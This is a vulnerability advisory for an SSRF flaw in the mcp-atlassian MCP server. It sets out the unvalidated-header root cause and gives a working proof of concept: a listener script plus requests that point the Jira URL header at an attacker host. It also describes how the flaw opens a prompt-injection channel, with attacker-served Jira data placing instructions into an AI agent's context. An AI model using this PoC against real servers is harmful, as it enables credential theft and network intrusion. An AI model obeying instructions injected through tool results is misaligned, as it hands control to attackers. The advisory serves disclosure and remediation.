CVE-2026-27826: MCP Atlassian has SSRF via unvalidated X-Atlassian-Jira-Url / X-Atlassian-Confluence-Url headers
Summary An unauthenticated attacker who can reach the mcp-atlassian HTTP endpoint can force the server process to make outbound HTTP requests to an arbitrary attacker-controlled URL by supplying two custom HTTP headers without an Authorization header. No authentication is required. The vulnerability exists in the HTTP middleware and dependency injection layer — not in any MCP tool handler - making it invisible to tool-level code analysis. In cloud deployments, this could enable theft of IAM role credentials via the instance metadata endpoint (169.254.169.254). In any HTTP deployment it enables internal network reconnaissance and injection of attacker-controlled content into LLM tool results.
Details The server supports a multi-tenant HTTP authentication mode where clients supply per-request Jira/Confluence URLs via custom headers. The middleware (src/mcpatlassian/servers/main.py:436–448) extracts X-Atlassian-Jira-Url from the request and stores it in request state with no validation. The dependency provider (src/mcpatlassian/servers/dependencies.py:189–217) then uses this value directly as the url= parameter when constructing a JiraConfig and JiraFetcher. The first method call on the fetcher (getcurrentuseraccountid()) immediately issues a GET request to {headerurl}/rest/api/2/myself — an outbound SSRF call to the attacker-controlled URL.
No comparison is made against the server-configured JIRAURL environment variable. No private IP range blocklist is applied. No URL scheme allowlist is enforced.
Trigger conditions — all four must hold: 1. Server running with --transport streamable-http or --transport sse 2. Request contains X-Atlassian-Jira-Url header (any non-empty value) 3. Request contains X-Atlassian-Jira-Personal-Token header (any non-empty value) 4. Request has no Authorization header
An identical vulnerability exists for Confluence at dependencies.py:341–393 via X-Atlassian-Confluence-Url + X-Atlassian-Confluence-Personal-Token.
Root cause - middleware (src/mcpatlassian/servers/main.py:436–448): python # When service headers are present and no Authorization header is provided, # auth type is set to "pat" but useratlassiantoken is NOT set. # This is what routes execution to the vulnerable path below. if serviceheaders and (jiratokenstr and jiraurlstr): scope["state"]["useratlassianauthtype"] = "pat"
Root cause - dependency provider (src/mcpatlassian/servers/dependencies.py:189–217): if ( userauthtype == "pat" and jiraurlheader # attacker-controlled, no validation and jiratokenheader and not hasattr(request.state, "useratlassiantoken") ): headerconfig = JiraConfig( url=jiraurlheader, # used directly, no allowlist check personaltoken=jiratokenheader, ... ) headerjirafetcher = JiraFetcher(config=headerconfig) headerjirafetcher.getcurrentuseraccountid() # ^ GET {jiraurlheader}/rest/api/2/myself — outbound SSRF call request.state.jirafetcher = headerjirafetcher # cached for all tool calls this request
PoC Step 1 - Start a listener to capture the inbound SSRF request:
# listener.py from http.server import HTTPServer, BaseHTTPRequestHandler import json, sys
class Handler(BaseHTTPRequestHandler): def doGET(self): print(f"[SSRF RECEIVED] Path: {self.path}", file=sys.stderr) print(f"[SSRF RECEIVED] Headers: {dict(self.headers)}", file=sys.stderr) self.sendresponse(200) self.sendheader("Content-Type", "application/json") self.endheaders() if "myself" in self.path: self.wfile.write(json.dumps({ "accountId": "ssrf-confirmed", "displayName": "SSRF PoC" }).encode()) else: self.wfile.write(b"{}") def logmessage(self, args): pass
HTTPServer(("0.0.0.0", 8888), Handler).serveforever()
Step 2 - Start mcp-atlassian in HTTP transport mode (placeholder credentials are sufficient — the vulnerable path is reached before any real Atlassian instance is contacted):
JIRAURL=https://placeholder.atlassian.net \ JIRAAPITOKEN=placeholder \ mcp-atlassian --transport streamable-http --port 8000
Step 3 — Trigger the SSRF:
import httpx, json
MCP = "http://localhost:8000/mcp" ATTACK = "http://<listener-ip>:8888"
# Initialize MCP session r = httpx.post(MCP, json={ "jsonrpc": "2.0", "method": "initialize", "params": {"protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "poc", "version": "1.0"}}, "id": 1 }, headers={ "X-Atlassian-Jira-Url": ATTACK, "X-Atlassian-Jira-Personal-Token": "any-value", # No Authorization header — this is the key condition }) sid = r.headers.get("mcp-session-id")
# Call any Jira tool — this triggers getjirafetcher() and the outbound SSRF call httpx.post(MCP, json={ "jsonrpc": "2.0", "method": "tools/call", "params": {"name": "jiragetissue", "arguments": {"issuekey": "PROJ-1"}}, "id": 2 }, headers={ "X-Atlassian-Jira-Url": ATTACK, "X-Atlassian-Jira-Personal-Token": "any-value", "Mcp-Session-Id": sid, })
The listener will receive GET /rest/api/2/myself originating from the MCP server process, confirming the SSRF.
Impact This vulnerability affects any deployment using --transport streamable-http or --transport sse. The default HOST=0.0.0.0 binding exposes the HTTP endpoint to any host on the same network without any configuration change, and to the internet when deployed on a cloud instance.
- Any HTTP deployment: The server acts as an SSRF proxy, enabling reconnaissance of internal services (databases, internal APIs, microservices) not directly reachable from outside the network. - AI agent sessions: Once the attacker-controlled fetcher is cached in request.state, all Jira tool responses for that session originate from the attacker's server. The attacker can return crafted API responses containing LLM instructions, injecting those instructions into the AI agent's context as if they were legitimate Jira data - a prompt injection channel at the data layer requiring no tool parameter manipulation. - Cloud deployments: Any network-reachable attacker can potentially steal the server's IAM role credentials via the instance metadata service, gaining full access to all cloud resources that role permits.
Other sources
MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to version 0.17.0, an unauthenticated attacker who can reach the mcp-atlassian HTTP endpoint can force the server process to make outbound HTTP requests to an arbitrary attacker-controlled URL by supplying two custom HTTP headers without an Authorization header. No authentication is required. The vulnerability exists in the HTTP middleware and dependency injection layer — not in any MCP tool handler - making it invisible to tool-level code analysis. In cloud deployments, this could enable theft of IAM role credentials via the instance metadata endpoint (169[.]254[.]169[.]254). In any HTTP deployment it enables internal network reconnaissance and injection of attacker-controlled content into LLM tool results. Version 0.17.0 fixes the issue.
— MITRE
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2026-27826?
CVE-2026-27826 has been classified as a high severity vulnerability due to its ability to allow unauthenticated attackers to perform SSRF attacks.
How do I fix CVE-2026-27826?
To remediate CVE-2026-27826, upgrade MCP Atlassian to version 0.17.0 or higher.
What is an SSRF vulnerability in the context of CVE-2026-27826?
An SSRF vulnerability, as seen in CVE-2026-27826, allows an attacker to make unauthorized outbound requests from the server to arbitrary URLs.
Who is affected by CVE-2026-27826?
CVE-2026-27826 affects all users of MCP Atlassian prior to version 0.17.0.
Can CVE-2026-27826 be exploited remotely?
Yes, CVE-2026-27826 can be exploited remotely by attackers who can reach the mcp-atlassian HTTP endpoint.